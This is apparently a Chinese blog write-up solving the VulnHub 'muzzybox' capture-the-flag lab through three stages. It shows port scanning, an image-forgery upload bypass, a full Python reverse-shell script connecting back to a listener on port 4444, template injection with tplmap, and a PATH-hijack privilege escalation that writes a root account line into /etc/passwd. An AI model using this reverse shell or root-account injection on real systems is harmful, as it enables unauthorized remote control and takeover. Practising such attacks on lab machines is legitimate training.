【muzzybox靶机】

信息搜集

在这里插入图片描述
在这里插入图片描述
使用nmap扫描获取靶机所在地址以及对应开启的端口信息。
在这里插入图片描述
使用namp 指定扫描1-65535所有端口,发现了一个刚才没发现的端口。
当前发现靶机开启的端口有
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
8989/tcp open sunwebadmins
9633/tcp open unknown
15000/tcp open hydap
在这里插入图片描述
打开80端口开启的web服务,发现一个文本文件。
该文件是提示文件。
这个文件说明了,这是一个ctf挑战的靶机,分为三个步骤。

第一个flag

在这里插入图片描述
按照提示文件打开3000端口web服务,发现是一个文件上传功能点,但上面的文本提示,修改图片中的内容。
$ Challenge 1:

Washington State University has built an online library for its students. Only “Principal” is “Authorized”. Can you able to bypass their logic for the flag??
Link: http://{IP}:3000/
Link: http://{IP}:9633/idcard.png
在这里插入图片描述
下一步就是修改图片中的信息。
在这里插入图片描述
修改其中的身份信息为Principal即可。
在这里插入图片描述
上传图片文件时,切记保持文件名为idcard.png,不要修改文件名,否则服务器会报错。
在这里插入图片描述
获取到一个PIN值:P!N_!$_123-456-789},成功获取到第一个flag.

第二个flag

$ Challenge 2:

After the data breach University has developed the new website, but somehow it is still under maintenance. Can you able to list the current directory and read the flag file.
Link: http://{IP}:8989/
打开8989端口所在的服务,发现存在一个控制台,但需要填写pin值。没错,第一关获取到的PIN值就是这个需要填写的。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

import subprocess
subprocess.getstatusoutput('pwd')

在这里插入图片描述
可以使用

import  socket;
import subprocess;
import os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.15",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
 os.dup2(s.fileno(),2);
 p=subprocess.call(["/bin/sh","-i"]);

kali主机开启nc -lvp 4444端口监听即可。
在这里插入图片描述
发现flag2。
尝试进入/home/webssti目录,发现无权限。

获取flag3

$ Challenge 3:

After system compromise root user is auditing the webserver files and directories by using “bash ls” and “sudo ls” commands. Can you able to get the /root/Final_Flag.txt file using the Out-of-Band technique ??
Link: http://{IP}:15000/page?name=muzzy
想到在获取的flag2中提示到webssti,想到这个flag3可能是通过ssti注入获取。
在这里插入图片描述
存在ssti注入,使用tplmap工具,获取shell。
在这里插入图片描述
在这里插入图片描述
提示该处是ssh连接的一个账号密码。
使用ssh登陆下。
在这里插入图片描述
flag3的提示,ls存在问题,但想到是否存在suid或者sudo指令问题,后来发现是环境变量问题,在/usr/local/sbin目录中nsctf用户竟然拥有写入的权限,而/usr/local/sbin这个目录拥有root权限。
懂得都懂。。。。
在/usr/local/sbin目录下重写ls指令,添加有一个root级账号到/etc/passwd文件中,提权即可完成。

admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:root:/root:/bin/bash

这是使用openssl passwd -1 -salt指令生成的hash密码
密码为admin。
在这里插入图片描述
在这里插入图片描述
此时读取/etc/passwd文件中内容,发现已经写进/etc/passwd文件。
(在此时,我并没有执行ls指令,但依旧写入了很多账号,那么说明,应该是存在一个定时任务,但查看/etc/crontab并未发现ls相关的指令。
此处还有一些疑问。。。。)
使用su 指令切换用户,即可获取root权限。
在这里插入图片描述
成功获取flag,结束。

有一说一,感觉这个不是太难,但我却感觉自己菜的要死。
一个难点在于,flag1的获取,属实没想到竟然就是p图,第二个难点是,flag2获取过程中os模块不可以直接使用,并且不可以使用nc -e指令。只好结合os,subprocess,socket模块一起才获取到了shell。第三个就是falg3中,一开始没想到ls指令重写。。后来看来了提示,才明白,应该是使用ls重写。
总结下来,操作会,但忘带脑子了。简单来说就是菜🤡

参考链接

【转】反弹Shell,看这一篇就够了:https://blog.csdn.net/mastergu2/article/details/120975065.
vulnhub~muzzybox:https://www.cnblogs.com/wlpk/p/12436416.html.
MUZZYBOX: 1下载链接:https://www.vulnhub.com/entry/muzzybox-1,434/.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值